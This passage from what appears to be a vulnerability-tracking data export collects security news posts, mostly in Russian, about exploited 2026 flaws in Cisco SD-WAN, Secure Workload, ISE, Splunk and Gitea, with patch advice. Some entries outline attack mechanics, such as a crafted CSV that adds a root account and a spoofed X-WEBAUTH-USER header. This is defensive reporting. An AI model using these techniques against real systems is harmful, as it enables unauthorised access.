\u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0431\u0435\u0437 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 Site Admin, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u0448\u043b\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 3.10.8.3 \u0438 4.0.3.17; \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u0435\u0442\u043e\u043a 3.9 \u0438 \u043d\u0438\u0436\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e. \u041e\u0431\u043b\u0430\u0447\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0443\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438, \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0443 Cisco \u043d\u0435\u0442.\n\n#cisco #secureworkload #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #zeroday \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:37.877494Z"}, {"uuid": "eebcf7db-6569-4fea-a012-39e4343d916b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/ZerodayAlert/730", "content": "Cisco \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0434\u0435\u0442\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SD-WAN Manager\n\nCisco \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20245 (\u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u043f\u043e CVSS 7.8, High) \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 Catalyst SD-WAN Manager. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 SD-WAN \u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u043e\u0432.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 netadmin \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 root. \n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e.\n\nCVE-2026-20245 \u0441\u0442\u0430\u043b\u0430 \u0441\u0435\u0434\u044c\u043c\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e Cisco SD-WAN \u0432 2026 \u0433\u043e\u0434\u0443 \u2014 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0451 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442. Cisco \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0440\u0430\u043d\u0435\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0430\u0442\u0447\u0435\u0439 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b /var/log/scripts.log \u043d\u0430 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.\n\n#cisco #sdwan #root #zeroday \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:38.317076Z"}, {"uuid": "863b2657-fd97-46fb-91cb-a0a0e3190534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "https://t.me/ZerodayAlert/739", "content": "Splunk \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0435 PostgreSQL\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20253 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Splunk Enterprise \u0432\u0435\u0442\u043e\u043a 10.0 \u0438 10.2. \u0412 \u0438\u044e\u043d\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0431 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u2014 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u043e \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0435 PostgreSQL, \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u043e\u0431\u0440\u0435\u0437\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0431\u0435\u0437 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u0418\u0437-\u0437\u0430 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0430 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0421\u0428\u0410 \u043e\u0431\u044f\u0437\u0430\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shadowserver, \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 1400 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Splunk, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043d\u0438\u0445 \u2014 \u0432 \u0421\u0435\u0432\u0435\u0440\u043d\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435 \u0438 \u0415\u0432\u0440\u043e\u043f\u0435. Splunk \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0439 10.4.0, 10.2.4 \u0438\u043b\u0438 10.0.7, \u0430 \u043f\u0440\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u2014 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u0443 PostgreSQL \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n#splunk #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #zeroday #cisa\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:38.445533Z"}, {"uuid": "93c740a4-3801-46f0-b42f-2a24e2ed4bfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/ZerodayAlert/746", "content": "Cisco SD-WAN \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 CVE-2026-20245 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 root-\u0434\u043e\u0441\u0442\u0443\u043f\n\nMandiant \u043e\u043f\u0438\u0441\u0430\u043b\u0430 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 Cisco Catalyst SD-WAN Manager, Controller \u0438 Validator. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0443\u0441\u043b\u0443\u0433, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 peer-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u0445\u043e\u0434\u0438\u043b\u0438 \u0432 SD-WAN Manager \u0447\u0435\u0440\u0435\u0437 vmanage-admin. Cisco \u0440\u0430\u043d\u0435\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u043b\u0430 \u043e\u0431 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0430\u0442\u0430\u043a, \u043d\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0439\u0447\u0430\u0441.\n\n\u041a\u043e\u0440\u0435\u043d\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0443\u0436\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0433 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438. \u0412 \u0430\u0442\u0430\u043a\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 evil_tenant.csv, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u0435\u043d\u044f\u043b /etc/passwd \u0438 /etc/shadow, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u043b \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c troot \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b root-\u0434\u043e\u0441\u0442\u0443\u043f. \u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0447\u0438\u0441\u0442\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u044b.\n\n\u0418\u0437 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439: \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Cisco SD-WAN \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u0432, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043c\u0435\u0440 \u043d\u0435\u0442. \u0422\u0430\u043a\u0436\u0435 \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c peer-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0441\u043b\u0435\u0434\u044b \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 troot \u043f\u043e \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c Mandiant. \u0422\u0430\u043a\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043e\u043f\u0430\u0441\u043d\u0430 \u043d\u0435 \u0441\u0430\u043c\u0438\u043c \u0444\u0430\u043a\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438, \u0430 \u0431\u044b\u0441\u0442\u0440\u044b\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u043d\u0430\u0434 SD-WAN. \n\n#Cisco #SDWAN #Mandiant #Root \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:38.534760Z"}, {"uuid": "fdf100f8-4dd4-4d63-82cc-72728be317f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "exploited", "source": "https://t.me/ZerodayAlert/753", "content": "\u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 Gitea\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20896 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 9.8 Critical) \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Docker-\u043e\u0431\u0440\u0430\u0437\u044b Gitea \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.26.2 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u0438\u0437-\u0437\u0430 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u043a\u0441\u0438 \u0432 \u0448\u0430\u0431\u043b\u043e\u043d\u0435 app.ini \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0437\u0430\u0434\u0430\u043b\u0438 \u043a\u0430\u043a \u00ab*\u00bb, \u0438\u0437-\u0437\u0430 \u0447\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043e\u0432\u0435\u0440\u044f\u043b \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c \u0441 \u043b\u044e\u0431\u043e\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430.\n\n\u0415\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0432\u043a\u043b\u044e\u0447\u0430\u043b \u0432\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a X-WEBAUTH-USER \u0438 \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043b\u044e\u0431\u043e\u0433\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0438\u043b\u0438 \u0443\u0433\u0430\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u0438 \u0442\u043e\u043a\u0435\u043d\u0430. \u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0438\u043c\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u0430\u0432\u0430\u043b\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Sysdig, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 13 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0430\u0442\u0430\u043a\u0430 \u0448\u043b\u0430 \u0441 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0430\u043d\u043e\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u0440\u0430\u0444\u0438\u043a\u0430. Gitea \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 1.26.3 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0438\u044e\u043d\u044f, \u0443\u0431\u0440\u0430\u0432 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b \u00ab*\u00bb \u0438 \u0441\u0434\u0435\u043b\u0430\u0432 \u0432\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439.\n\n#gitea #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #docker #Sysdig\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:39.155708Z"}, {"uuid": "85418e08-822b-48d1-bee5-bdcfeef7e313", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mrm4l2gfcr2e", "content": "Daily IT Security Digest \u2014 2026-07-27\n@nixCraft@, @jonsnow@; Bluesky @elixistechnology.bsky.social\n\n## 6. Cisco Catalyst SD-WAN Manager Zero-Day Exploited in the Wild\nCisco Catalyst SD-WAN Manager has a critical zero-day vulnerability (CVE-2026-20262) that is actively being exploited. Attackers", "creation_timestamp": "2026-07-27T05:02:46.227498Z"}, {"uuid": "f54ca125-cfe8-4f92-bc15-b5e2cc84f679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/cyberwarehouse/1128", "content": "\ud83d\udea8 CISA added CVE-2026-20182, a CVSS 10.0 authentication bypass in Cisco Catalyst SD-WAN Controller, to its KEV catalog amid active exploitation.\n\nRemote attackers can gain admin privileges. FCEB agencies must remediate by May 17, 2026.\n\nFull details: https://thehackernews.com/2026/05/cisa-adds-cisco-sd-wan-cve-2026-20182.html", "creation_timestamp": "2026-07-26T02:00:05.864624Z"}, {"uuid": "d79a71de-2440-450a-912a-8020120f02a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://t.me/cyberwarehouse/1107", "content": "\ud83d\udd25 Cisco ISE: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 RCE \ud83d\udd34\n\n\u0415\u0441\u043b\u0438 \u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u0445\u043e\u0442\u044f \u0431\u044b Read Only Admin \u0432 Cisco ISE, \u044d\u0442\u043e\u0433\u043e \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b 